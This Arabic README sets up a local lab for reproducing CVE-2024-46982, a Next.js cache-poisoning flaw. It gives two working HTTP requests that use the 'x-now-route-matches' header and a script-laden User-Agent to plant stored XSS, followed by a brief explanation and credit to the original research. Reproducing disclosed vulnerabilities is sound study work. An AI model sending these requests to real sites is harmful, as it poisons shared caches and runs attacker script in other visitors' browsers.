CVE-2024-46982-Reproduction

البدء

1. قم بتثبيت Node.js LTS
2. npm install
3. npm run build
4. npm run start

الاستغلال 1: XSS مخزّن عبر تسميم ذاكرة التخزين المؤقت

1. أرسل طلب HTTP التالي (طلب الهجوم) باستخدام أي عميل HTTP.

GET /poc?__nextDataReq=1 HTTP/1.1
Host: localhost:3000
User-Agent: <script>alert('XSS')</script>
x-now-route-matches: 1

2. قم بزيارة http://localhost:3000 (طلب عادي) باستخدام أي متصفح ويب.

الاستغلال 2: XSS مخزّن عبر تسميم ذاكرة التخزين المؤقت

1. أرسل طلب HTTP التالي (طلب الهجوم) باستخدام أي عميل HTTP، وتأكد من استبدال "UiKoKFFGnF1td3mMyeDX5" بـ ".next/BUILD_ID" الخاص بك.

GET /_next/data/UiKoKFFGnF1td3mMyeDX5/poc.json HTTP/1.1
Host: localhost:3000
User-Agent: <script>alert('XSS')</script>
x-now-route-matches: 1

2. قم بزيارة http://localhost:3000 (طلب عادي) باستخدام أي متصفح ويب.

كيف يعمل؟

1. x-now-route-matches هو ترويسة HTTP مخصصة يتعرف عليها Next.js. عند وجودها، سيتعامل Next.js مع طلب HTTP كـ "SSG" (توليد الموقع الثابت)، ويمكن عندها تخزين استجابة HTTP مؤقتًا (Cache-Control: s-maxage=1, stale-while-revalidate).

2. ?__nextDataReq=1 هو سلسلة استعلام يتعرف عليها Next.js. عند وجودها، سيتعامل Next.js مع طلب HTTP كـ "استرجاع __NEXT_DATA__".

يمكن العثور على الشرح الكامل في قسم Credit

Credit

• https://zhero-web-sec.github.io/research-and-things/nextjs-cache-and-chains-the-stale-elixir